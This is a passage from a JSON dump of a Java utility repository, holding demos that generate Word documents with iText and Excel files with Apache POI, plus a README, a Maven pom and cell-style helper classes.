\"2008年10月12日9时-2008年10月12日6时~我们参照检验药品的方法~我们参照检验药品的方法~我们参照检验药品的方法~我们参照检验药品的方法\";\n\t\toRTF.rgModel(\"cheney\",content);\n \n\t}\n \n}"
  },
  {
    "path": "jun_java_plugins/jun_pdf/src/main/java/com/jun/plugin/pdf/itext/ReadWord.java",
    "content": "package com.jun.plugin.pdf.itext;\n\n/** \n * @author Wujun\n * @since   2013年11月4日 上午10:30:01 \n */\npublic class ReadWord {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t// TODO Auto-generated method stub\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_pdf/src/main/java/com/jun/plugin/pdf/itext/WordDemo.java",
    "content": "package com.jun.plugin.pdf.itext;\n\nimport java.awt.Color;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\n\nimport com.lowagie.text.Cell;\nimport com.lowagie.text.Document;\nimport com.lowagie.text.DocumentException;\nimport com.lowagie.text.Font;\nimport com.lowagie.text.PageSize;\nimport com.lowagie.text.Paragraph;\nimport com.lowagie.text.Table;\nimport com.lowagie.text.rtf.RtfWriter2;\n\n/**\n * 创建word文档 步骤: 1,建立文档 2,创建一个书写器 3,打开文档 4,向文档中写入数据 5,关闭文档\n */\npublic class WordDemo {\n\n\tpublic WordDemo() {\n\t}\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t// 创建word文档,并设置纸张的大小\n\t\tDocument document = new Document(PageSize.A4);\n\t\ttry {\n\t\t\tRtfWriter2.getInstance(document,\n\t\t\t\t\tnew FileOutputStream(\"E:/word.doc\"));\n\n\t\t\tdocument.open();\n\n\t\t\t// 设置合同头\n\n\t\t\tParagraph ph = new Paragraph();\n\t\t\tFont f = new Font();\n\n\t\t\tParagraph p = new Paragraph(\"出口合同\", new Font(Font.NORMAL, 18,\n\t\t\t\t\tFont.BOLDITALIC, new Color(0, 0, 0)));\n\t\t\tp.setAlignment(1);\n\t\t\tdocument.add(p);\n\t\t\tph.setFont(f);\n\n\t\t\t// 设置中文字体\n\t\t\t// BaseFont bfFont =\n\t\t\t// BaseFont.createFont(\"STSongStd-Light\",\n\t\t\t// \"UniGB-UCS2-H\",BaseFont.NOT_EMBEDDED);\n\t\t\t// Font chinaFont = new Font();\n\t\t\t/*\n\t\t\t * 创建有三列的表格\n\t\t\t */\n\t\t\tTable table = new Table(4);\n\t\t\tdocument.add(new Paragraph(\"生成表格\"));\n\t\t\ttable.setBorderWidth(1);\n\t\t\ttable.setBorderColor(Color.BLACK);\n\t\t\ttable.setPadding(0);\n\t\t\ttable.setSpacing(0);\n\n\t\t\t/*\n\t\t\t * 添加表头的元素\n\t\t\t */\n\t\t\tCell cell = new Cell(\"表头\");// 单元格\n\t\t\tcell.setHeader(true);\n\t\t\tcell.setColspan(3);// 设置表格为三列\n\t\t\tcell.setRowspan(3);// 设置表格为三行\n\t\t\ttable.addCell(cell);\n\t\t\ttable.endHeaders();// 表头结束\n\n\t\t\t// 表格的主体\n\t\t\tcell = new Cell(\"Example cell 2\");\n\t\t\tcell.setRowspan(2);// 当前单元格占两行,纵向跨度\n\t\t\ttable.addCell(cell);\n\t\t\ttable.addCell(\"1,1\");\n\t\t\ttable.addCell(\"1,2\");\n\t\t\ttable.addCell(\"1,3\");\n\t\t\ttable.addCell(\"1,4\");\n\t\t\ttable.addCell(\"1,5\");\n\t\t\ttable.addCell(new Paragraph(\"用java生成的表格1\"));\n\t\t\ttable.addCell(new Paragraph(\"用java生成的表格2\"));\n\t\t\ttable.addCell(new Paragraph(\"用java生成的表格3\"));\n\t\t\ttable.addCell(new Paragraph(\"用java生成的表格4\"));\n\t\t\tdocument.add(new Paragraph(\"用java生成word文件\"));\n\t\t\tdocument.add(table);\n\t\t\t\n\t\t\tSystem.out.println(document);\n\t\t\tdocument.close();\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (DocumentException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/README.md",
    "content": "# poi-el\nexcel导出与导入神器，poi-el。  \n* poi-el支持强大的excel模板导出功能  \n* poi-el支持方便的excel导入API\n\n## excel模板导出\n使用poi + spEl，支持各种普通模板和复杂模板的导出功能\n### Quick Start:\n参考：  \ncom.jun.plugin.poitest.export_test.ForeachTest.java  \ncom.jun.plugin.poitest.export_test.MixTemplateTest.java  \ncom.jun.plugin.poitest.export_test.MultiPoiForeachTest.java  \n  \n**API:**  \n>\n\tPoiExporter.export2Destination(InputStream templateInputStream, Map<String, Object> rootObjectMap, OutputStream des)\n**模板示例**  \n\n## 普通模板：  \n![foreach](img/foreach.png)  \n\n## 复杂模板——多个foreach模板：  \n![多个foreach](img/多个foreach.jpg)  \n  \n## 复杂模板——混合模板：  \n![混合模板](img/混合模板.jpg)  \n  \n## excel模板导入\n支持简洁易用的excel导入API  \n### Quick Start:\n参考:  \ncom.jun.plugin.poitest.import_test.ImportRawTest.java  \ncom.jun.plugin.poitest.import_test.ImportGenericTest.java  \n  \n**API**\n>\n\tPoiSheetVo sheetVo = PoiImporter.importFirstSheetFrom(is);\n\n>\n\tPoiGenericSheetVo<OrderImportVo> genericSheetVo = PoiImporter.importFirstSheetFrom(is, OrderImportVo.class);\n\n# 计划  \n1. 后续可以考虑使用MyBatis解析动态SQL的思想，来扩展属性占位符（${}、#{}等）和数据来源（rootObjectMap，可以有多来源），将属性占位符和数据来源解耦\n\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/pom.xml",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_poi</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\n\t<properties>\n\t\t<poi.version>3.14</poi.version>\n\t\t<spel.version>4.1.6.RELEASE</spel.version>\n\t\t<slf4j.version>1.7.12</slf4j.version>\n\t\t<logback.version>1.1.2</logback.version>\n\t\t<reflections.version>0.9.9-RC1</reflections.version>\n\t\t<!-- tools -->\n\t\t<fastjson.version>1.1.35</fastjson.version>\n\t\t<commons.lang3.version>3.3.2</commons.lang3.version>\n\t\t<commons.collections.version>3.2.2</commons.collections.version>\n\t\t<guava.version>15.0</guava.version>\n\t\t<joda.version>2.9.7</joda.version>\n\t\t<!-- tools end -->\n\t</properties>\n\n\t<dependencies>\n\t\t<!-- test -->\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.13</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>io.github.wujun728</groupId>\n\t\t\t<artifactId>jun_datasource</artifactId>\n\t\t\t<version>1.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.poi</groupId>\n\t\t\t<artifactId>poi-ooxml</artifactId>\n\t\t\t<version>${poi.version}</version>\n\t\t</dependency>\n\n\t\t<!-- EasyExcel (migrated from jun_excel module) -->\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>easyexcel</artifactId>\n\t\t\t<version>1.1.2-beta4</version>\n\t\t\t<exclusions>\n\t\t\t\t<!-- Exclude transitive POI 3.17 to avoid conflict with ${poi.version} -->\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>org.apache.poi</groupId>\n\t\t\t\t\t<artifactId>poi</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>org.apache.poi</groupId>\n\t\t\t\t\t<artifactId>poi-ooxml</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>org.apache.poi</groupId>\n\t\t\t\t\t<artifactId>poi-ooxml-schemas</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-expression</artifactId>\n\t\t\t<version>${spel.version}</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.reflections</groupId>\n\t\t\t<artifactId>reflections</artifactId>\n\t\t\t<version>${reflections.version}</version>\n\t\t</dependency>\n\n\n\t\t<!-- logging start -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>${slf4j.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>jcl-over-slf4j</artifactId>\n\t\t\t<version>${slf4j.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>log4j-over-slf4j</artifactId>\n\t\t\t<version>${slf4j.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>ch.qos.logback</groupId>\n\t\t\t<artifactId>logback-core</artifactId>\n\t\t\t<version>${logback.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>ch.qos.logback</groupId>\n\t\t\t<artifactId>logback-classic</artifactId>\n\t\t\t<version>${logback.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<!-- logging end -->\n\n\t\t<!-- 常用工具包 start -->\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>fastjson</artifactId>\n\t\t\t<version>${fastjson.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-lang3</artifactId>\n\t\t\t<version>${commons.lang3.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-collections</groupId>\n\t\t\t<artifactId>commons-collections</artifactId>\n\t\t\t<version>${commons.collections.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.google.guava</groupId>\n\t\t\t<artifactId>guava</artifactId>\n\t\t\t<version>${guava.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>joda-time</groupId>\n\t\t\t<artifactId>joda-time</artifactId>\n\t\t\t<version>${joda.version}</version>\n\t\t</dependency>\n\t\t<!-- 常用工具包 end -->\n\n\t\t<!-- https://mvnrepository.com/artifact/com.google.guava/guava -->\n\t\t<dependency>\n\t\t\t<groupId>com.google.guava</groupId>\n\t\t\t<artifactId>guava</artifactId>\n\t\t\t<version>29.0-jre</version>\n\t\t</dependency>\n\t\t<!-- POI (unified to ${poi.version}=3.14; removed duplicate declarations) -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.poi</groupId>\n\t\t\t<artifactId>poi</artifactId>\n\t\t\t<version>${poi.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.poi</groupId>\n\t\t\t<artifactId>poi-scratchpad</artifactId>\n\t\t\t<version>${poi.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-lang3</artifactId>\n\t\t\t<version>3.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>commons-io</groupId>\n\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t<version>2.4</version>\n\t\t</dependency>\n\n\t\t<!-- servlet -->\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>servlet-api</artifactId>\n\t\t\t<version>3.0-alpha-1</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>jstl</artifactId>\n\t\t\t<version>1.2</version>\n\t\t</dependency>\n\n\t\t<!-- https://mvnrepository.com/artifact/net.sf.json-lib/json-lib -->\n\t\t<dependency>\n\t\t\t<groupId>net.sf.json-lib</groupId>\n\t\t\t<artifactId>json-lib</artifactId>\n\t\t\t<version>2.4</version>\n\t\t\t<classifier>jdk15</classifier><!-- //此处要加上jdk版本号 -->\n\t\t</dependency>\n\n\t</dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.apache.maven.plugins</groupId>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <version>3.8.1</version>\n                <configuration>\n                    <source>8</source> <!-- 对应你的JDK版本 -->\n                    <target>8</target>\n                    <encoding>UTF-8</encoding> <!-- 强制编译编码为UTF-8 -->\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/TestPoi.java",
    "content": "package com.jun.plugin.poi;\n\nimport java.io.FileOutputStream;\nimport java.sql.Connection;\nimport java.sql.DatabaseMetaData;\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.sql.Statement;\nimport java.util.ArrayList;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.apache.poi.hssf.usermodel.HSSFCell;\nimport org.apache.poi.hssf.usermodel.HSSFCellStyle;\nimport org.apache.poi.hssf.usermodel.HSSFDataFormat;\nimport org.apache.poi.hssf.usermodel.HSSFFont;\nimport org.apache.poi.hssf.usermodel.HSSFRichTextString;\nimport org.apache.poi.hssf.usermodel.HSSFRow;\nimport org.apache.poi.hssf.usermodel.HSSFSheet;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.hssf.util.HSSFColor;\n//import org.junit.Test;\n\nimport com.jun.plugin.datasource.DataSourceUtil;\n\npublic class TestPoi {\n\n\tpublic static void main(String[] args) throws Exception {\n\t\t//�ڴ���\n\t\tHSSFWorkbook wb = new HSSFWorkbook();\n\t\tHSSFSheet sheet = wb.createSheet(\"first sheet\");\n\t\twb.createSheet(\"second sheet\");\n\t\t//������\n\t\tHSSFRow row = sheet.createRow(0);\n\t\tHSSFCell cell = row.createCell(0);\n\t\tcell.setCellValue(false);\n\t\trow.createCell(1).setCellValue(Calendar.getInstance());\n\t\trow.createCell(2).setCellValue(new Date());\n\t\trow.createCell(3).setCellValue(1234567890.9870654f);\n\t\tString desc = \"dddddddddddddddddddddddddddddddddddddddddddddddddddddddd\";\n\t\trow.createCell(4).setCellValue(new HSSFRichTextString(desc));\n\t\t\n\t\t//��ʽ�����\n\t\tHSSFDataFormat format = wb.createDataFormat();//������ʽ����\n\t\tHSSFCellStyle style = wb.createCellStyle();//������ʽ����\n\t\t\n\t\t//���ø�ʽ\n\t\tstyle.setDataFormat(format.getFormat(\"yyyy-MM-dd hh:mm:ss\"));\n\t\tcell = row.getCell(1);\n\t\tcell.setCellStyle(style);//��cellӦ����ʽ\n\t\trow.getCell(2).setCellStyle(style);\n\t\t\n\t\t//�����п�\n\t\tsheet.setColumnWidth(1, 5000);//��λ:1/20\n\t\tsheet.autoSizeColumn(2);\n\t\t\n\t\t//���ָ�ʽ��???\n\t\tstyle = wb.createCellStyle();\n\t\tstyle.setDataFormat(format.getFormat(\"#,###.0000\"));\n\t\trow.getCell(3).setCellStyle(style);\n\t\t\n\t\t//�ı��Զ�����\n\t\tsheet.setColumnWidth(4, 5000);\n\t\tstyle = wb.createCellStyle();\n\t\tstyle.setWrapText(true);//�����ı�\n\t\trow.getCell(4).setCellStyle(style);\n\t\t\n\t\t//�����ı����뷽ʽ\n\t\tsheet.setColumnWidth(0, 5000);\n\t\trow = sheet.createRow(1);\n\t\trow.createCell(0).setCellValue(\"����\");\n\t\trow.createCell(1).setCellValue(\"����\");\n\t\trow.createCell(2).setCellValue(\"����\");\n\t\t\n\t\t//���뷽ʽ--����\n\t\tstyle = wb.createCellStyle();\n\t\tstyle.setAlignment(HSSFCellStyle.ALIGN_LEFT);//�����\n\t\tstyle.setVerticalAlignment(HSSFCellStyle.VERTICAL_TOP);//�϶���\n\t\trow.getCell(0).setCellStyle(style);\n\t\t\n\t\t//���뷽ʽ--����\n\t\tstyle = wb.createCellStyle();\n\t\tstyle.setAlignment(HSSFCellStyle.ALIGN_CENTER);//�����\n\t\tstyle.setVerticalAlignment(HSSFCellStyle.VERTICAL_CENTER);//�϶���\n\t\trow.getCell(1).setCellStyle(style);\n\t\t\n\t\t//���뷽ʽ--����\n\t\tstyle = wb.createCellStyle();\n\t\tstyle.setAlignment(HSSFCellStyle.ALIGN_RIGHT);//�����\n\t\tstyle.setVerticalAlignment(HSSFCellStyle.VERTICAL_BOTTOM);//�϶���\n\t\trow.getCell(2).setCellStyle(style);\n\t\t//�����и�\n\t\trow.setHeightInPoints(50);\n\t\t\n\t\t//��������\n\t\tstyle = row.getCell(1).getCellStyle();\n\t\tHSSFFont font = wb.createFont();\n\t\tfont.setFontName(\"����\");\n\t\tfont.setFontHeightInPoints((short)18);\n\t\tfont.setColor(HSSFColor.RED.index);\n\t\tstyle.setFont(font);\n\t\t\n\t\t//�ı���ת\n\t\tstyle.setRotation((short)-30);\n\t\t\n\t\t//���ñ߿�\n\t\trow = sheet.createRow(2);\n\t\tcell = row.createCell(0);\n\t\tstyle = wb.createCellStyle();\n\t\tstyle.setBorderTop(HSSFCellStyle.BORDER_DASH_DOT_DOT);\n\t\tstyle.setTopBorderColor(HSSFColor.BLUE.index);\n\t\tcell.setCellStyle(style);\n\t\t\n\t\t//������\n\t\trow = sheet.createRow(3);\n\t\trow.createCell(0).setCellValue(20);\n\t\trow.createCell(1).setCellValue(34.78);\n\t\trow.createCell(2).setCellValue(45.98);\n\t\trow.createCell(3).setCellFormula(\"sum(A4:C4)\");\n\t\t\n\t\t//�����ƶ���\n\t\tsheet.shiftRows(1, 3, 2);\n\t\t\n\t\t//��ִ���\n\t\t//1000:��ര��Ŀ��\n\t\t//2000:�ϲര��ĸ߶�\n\t\t//3:�Ҳര��ʼ��ʾ���е�����\n\t\t//4:�²ര��ʼ��ʾ���е�����\n\t\t//1:������ĸ������\n\t\tsheet.createSplitPane(1000, 2000, 3, 4, 1);\n\t\t\n\t\t//���ᴰ��\n\t\tsheet.createFreezePane(1, 2, 3, 4);\n\t\twb.write(new FileOutputStream(\"D:/poi.xls\"));\n\t}\n\t\n//\t@Test\n\tpublic void createXls() throws Exception{\n\t\t//声明一个工作薄\n\t\tHSSFWorkbook wb = new HSSFWorkbook();\n\t   //声明表\n\t\tHSSFSheet sheet = wb.createSheet(\"第一个表\");\n\t\t//声明行\n\t\tHSSFRow row = sheet.createRow(7);\n\t\t//声明列\n\t\tHSSFCell cel = row.createCell(3);\n\t\t//写入数据\n\t\tcel.setCellValue(\"你也好\");\n\t\t\n\t\t\n\t\tFileOutputStream fileOut = new FileOutputStream(\"d:/b.xls\");\n\t    wb.write(fileOut);\n\t    fileOut.close();\n\t}\n\t\n//\t@Test\n\tpublic void export() throws Exception{\n\t\t//声明需要导出的数据库\n\t\tString dbName = \"focus\";\n\t\t//声明book\n\t\tHSSFWorkbook book = new HSSFWorkbook();\n\t\t//获取Connection,获取db的元数据\n\t\tConnection con = DataSourceUtil.getConn();\n\t\t//声明statemen\n\t\tStatement st = con.createStatement();\n\t\t//st.execute(\"use \"+dbName);\n\t\tDatabaseMetaData dmd = con.getMetaData();\n\t\t//获取数据库有多少表\n\t\tResultSet rs = dmd.getTables(dbName,dbName,null,new String[]{\"TABLE\"});\n\t\t//获取所有表名　－　就是一个sheet\n\t\tList<String> tables = new ArrayList<String>();\n\t\twhile(rs.next()){\n\t\t\tString tableName = rs.getString(\"TABLE_NAME\");\n\t\t\ttables.add(tableName);\n\t\t}\n\t\tfor(String tableName:tables){\n\t\t\tHSSFSheet sheet = book.createSheet(tableName);\n\t\t\t//声明sql\n\t\t\tString sql = \"select * from \"+dbName+\".\"+tableName;\n\t\t\t//查询数据\n\t\t\trs = st.executeQuery(sql);\n\t\t\t//根据查询的结果，分析结果集的元数据\n\t\t\tResultSetMetaData rsmd = rs.getMetaData();\n\t\t\t//获取这个查询有多少行\n\t\t\tint cols = rsmd.getColumnCount();\n\t\t\t//获取所有列名\n\t\t\t//创建第一行\n\t\t\tHSSFRow row = sheet.createRow(0);\n\t\t\tfor(int i=0;i<cols;i++){\n\t\t\t\tString colName = rsmd.getColumnName(i+1);\n\t\t\t\t//创建一个新的列\n\t\t\t\tHSSFCell cell = row.createCell(i);\n\t\t\t\t//写入列名\n\t\t\t\tcell.setCellValue(colName);\n\t\t\t}\n\t\t\t//遍历数据\n\t\t\tint index = 1;\n\t\t\twhile(rs.next()){\n\t\t\t\trow = sheet.createRow(index++);\n\t\t\t\t//声明列\n\t\t\t\tfor(int i=0;i<cols;i++){\n\t\t\t\t\tString val = rs.getString(i+1);\n\t\t\t\t\t//声明列\n\t\t\t\t\tHSSFCell cel = row.createCell(i);\n\t\t\t\t\t//放数据\n\t\t\t\t\tcel.setCellValue(val);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tcon.close();\n\t\tbook.write(new FileOutputStream(\"d:/\"+dbName+\".xls\"));\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/demo/CellStyles.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.Workbook;\n\n/** \n * @author Wujun\n * @since   2013年9月29日 上午11:44:20 \n */\npublic interface CellStyles {\n\t\n\tvoid setWorkBook(Workbook workbook);\n\t\n\t/**\n\t * 标题样式\n\t * @return\n\t */\n\tCellStyle getHeaderStyle();\n\t\n\t/**\n\t * String样式\n\t * @return\n\t */\n\tCellStyle getStringStyle();\n\t\n\t/**\n\t * 日期样式\n\t * @return\n\t */\n\tCellStyle getDateStyle();\n\t\n\t/**\n\t * 数字样式\n\t * @return\n\t */\n\tCellStyle getNumberStyle();\n\n\t/**\n\t * 合计列样式\n\t * @return\n\t */\n\tCellStyle getFormulaStyle();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/demo/DefaultCellStyles.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.DataFormat;\nimport org.apache.poi.ss.usermodel.Font;\nimport org.apache.poi.ss.usermodel.IndexedColors;\nimport org.apache.poi.ss.usermodel.Workbook;\n\n/** \n * @author Wujun\n * @since   2013年9月29日 上午11:45:03 \n */\npublic class DefaultCellStyles implements CellStyles {\n\t\n\tprotected Workbook wb;\n\t\n\tprivate Map<ExcelStyle, CellStyle> styles;\n\t\n\tpublic enum ExcelStyle {\n\t\tHEADER_CELL(\"headerCell\"), \n\t\tSTRING_CELL(\"stringCell\"), \n\t\tDEATE_CELL(\"dateCell\"), \n\t\tNUMBER_CELL(\"numberCell\"), \n\t\tTOTAL_CELL(\"totalCell\"), \n\t\tBOLD_TITLE_CELL(\"boldTitleCell\");\n\t\t\n\t\tprivate final String style;\n\n\t\tExcelStyle(String style) {\n\t\t\tthis.style = style;\n\t\t}\n\n\t\tpublic String getStyle() {\n\t\t\treturn this.style;\n\t\t}\n\t}\n\n\tpublic enum ExcelFormat {\n\t\tDATE(\"yyyy-MM-dd\"), \n\t\tDATETIME(\"yyyy-MM-dd HH:mm:ss\"),\n\t\tNUMBER(\"0.00\"), \n\t\tCURRENCY(\"#,##0.00\"), \n\t\tPERCENT(\"0.00%\");\n\t\tprivate final String pattern;\n\n\t\tExcelFormat(String pattern) {\n\t\t\tthis.pattern = pattern;\n\t\t}\n\n\t\tpublic String getPattern() {\n\t\t\treturn this.pattern;\n\t\t}\n\t}\n\t\n\tpublic DefaultCellStyles(Workbook workbook) {\n\t\tthis.wb = workbook;\n\t\tthis.styles = createStyles();\n\t}\n\n\t/* (non-Javadoc)\n\t * @see com.ketayao.learn.poi.CellStyles#setWorkBook(org.apache.poi.ss.usermodel.Workbook)\n\t */\n\t@Override\n\tpublic void setWorkBook(Workbook workbook) {\n\t\tthis.wb = workbook;\n\t}\n\n\t/* (non-Javadoc)\n\t * @see com.ketayao.learn.poi.CellStyles#getHeaderStyle()\n\t */\n\t@Override\n\tpublic CellStyle getHeaderStyle() {\n\t\treturn styles.get(ExcelStyle.HEADER_CELL);\n\t}\n\n\t/* (non-Javadoc)\n\t * @see com.ketayao.learn.poi.CellStyles#getStringStyle()\n\t */\n\t@Override\n\tpublic CellStyle getStringStyle() {\n\t\treturn styles.get(ExcelStyle.STRING_CELL);\n\t}\n\n\t/* (non-Javadoc)\n\t * @see com.ketayao.learn.poi.CellStyles#getDateStyle()\n\t */\n\t@Override\n\tpublic CellStyle getDateStyle() {\n\t\treturn styles.get(ExcelStyle.DEATE_CELL);\n\t}\n\n\t/* (non-Javadoc)\n\t * @see com.ketayao.learn.poi.CellStyles#getNumberStyle()\n\t */\n\t@Override\n\tpublic CellStyle getNumberStyle() {\n\t\treturn styles.get(ExcelStyle.NUMBER_CELL);\n\t}\n\n\t/* (non-Javadoc)\n\t * @see com.ketayao.learn.poi.CellStyles#getFormulaStyle()\n\t */\n\t@Override\n\tpublic CellStyle getFormulaStyle() {\n\t\treturn styles.get(ExcelStyle.TOTAL_CELL);\n\t}\n\n\tprotected Map<ExcelStyle, CellStyle> createStyles() {\n\t\tMap<ExcelStyle, CellStyle> styles = new HashMap<ExcelStyle, CellStyle>();\n\t\tDataFormat df = wb.createDataFormat();\n\n\t\t// --字体设定 --//\n\n\t\t//普通字体\n\t\tFont normalFont = wb.createFont();\n\t\tnormalFont.setFontHeightInPoints((short) 10);\n\n\t\t//加粗字体\n\t\tFont boldFont = wb.createFont();\n\t\tboldFont.setFontHeightInPoints((short) 10);\n\t\tboldFont.setBoldweight(Font.BOLDWEIGHT_BOLD);\n\t\t\n\t\t//加粗标题字体\n\t\tFont boldTitleFont = wb.createFont();\n\t\tboldTitleFont.setFontHeightInPoints((short) 14);\n\t\tboldTitleFont.setBoldweight(Font.BOLDWEIGHT_BOLD);\n\n\t\t//蓝色加粗字体\n\t\tFont blueBoldFont = wb.createFont();\n\t\tblueBoldFont.setFontHeightInPoints((short) 10);\n\t\tblueBoldFont.setBoldweight(Font.BOLDWEIGHT_BOLD);\n\t\tblueBoldFont.setColor(IndexedColors.BLUE.getIndex());\n\n\t\t// --Cell Style设定-- //\n\t\t\n\t\t//加粗标题格式\n\t\tCellStyle boldTitleStyle = wb.createCellStyle();\n\t\tboldTitleStyle.setFont(boldTitleFont);\n\t\tboldTitleStyle.setAlignment(CellStyle.ALIGN_CENTER);\n\t\tboldTitleStyle.setVerticalAlignment(CellStyle.ALIGN_CENTER);\n\t\t//setBorder(boldTitleStyle);\n\t\tstyles.put(ExcelStyle.BOLD_TITLE_CELL, boldTitleStyle);\n\n\t\t//标题格式\n\t\tCellStyle headerStyle = wb.createCellStyle();\n\t\theaderStyle.setFont(boldFont);\n\t\theaderStyle.setFont(normalFont);\n\t\theaderStyle.setAlignment(CellStyle.ALIGN_CENTER);\n\t\theaderStyle.setVerticalAlignment(CellStyle.ALIGN_CENTER);\n\t\tsetBorder(headerStyle);\n\t\tstyles.put(ExcelStyle.HEADER_CELL, headerStyle);\n\t\t\n\t\t//String格式\n\t\tCellStyle stringStyle = wb.createCellStyle();\n\t\tstringStyle.setFont(normalFont);\n\t\tsetBorder(stringStyle);\n\t\tstyles.put(ExcelStyle.STRING_CELL, stringStyle);\n\n\t\t//日期格式\n\t\tCellStyle dateCellStyle = wb.createCellStyle();\n\t\tdateCellStyle.setFont(normalFont);\n\t\tdateCellStyle.setDataFormat(df.getFormat(ExcelFormat.DATE.getPattern()));\n\t\tsetBorder(dateCellStyle);\n\t\tstyles.put(ExcelStyle.DEATE_CELL, dateCellStyle);\n\n\t\t//数字格式\n\t\tCellStyle numberCellStyle = wb.createCellStyle();\n\t\tnumberCellStyle.setFont(normalFont);\n\t\tnumberCellStyle.setDataFormat(df.getFormat(ExcelFormat.NUMBER.getPattern()));\n\t\tsetBorder(numberCellStyle);\n\t\tstyles.put(ExcelStyle.NUMBER_CELL, numberCellStyle);\n\n\t\t//合计列格式\n\t\tCellStyle totalStyle = wb.createCellStyle();\n\t\ttotalStyle.setFont(blueBoldFont);\n\t\ttotalStyle.setWrapText(true);\n\t\ttotalStyle.setAlignment(CellStyle.ALIGN_CENTER);\n\t\tsetBorder(totalStyle);\n\t\tstyles.put(ExcelStyle.TOTAL_CELL, totalStyle);\n\n\t\treturn styles;\n\t}\n\n\tprotected void setBorder(CellStyle style) {\n\t\t//设置边框\n\t\tstyle.setBorderRight(CellStyle.BORDER_THIN);\n\t\tstyle.setRightBorderColor(IndexedColors.BLACK.getIndex());\n\n\t\tstyle.setBorderLeft(CellStyle.BORDER_THIN);\n\t\tstyle.setLeftBorderColor(IndexedColors.BLACK.getIndex());\n\n\t\tstyle.setBorderTop(CellStyle.BORDER_THIN);\n\t\tstyle.setTopBorderColor(IndexedColors.BLACK.getIndex());\n\n\t\tstyle.setBorderBottom(CellStyle.BORDER_THIN);\n\t\tstyle.setBottomBorderColor(IndexedColors.BLACK.getIndex());\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/demo/ExcelExportHelper.java",
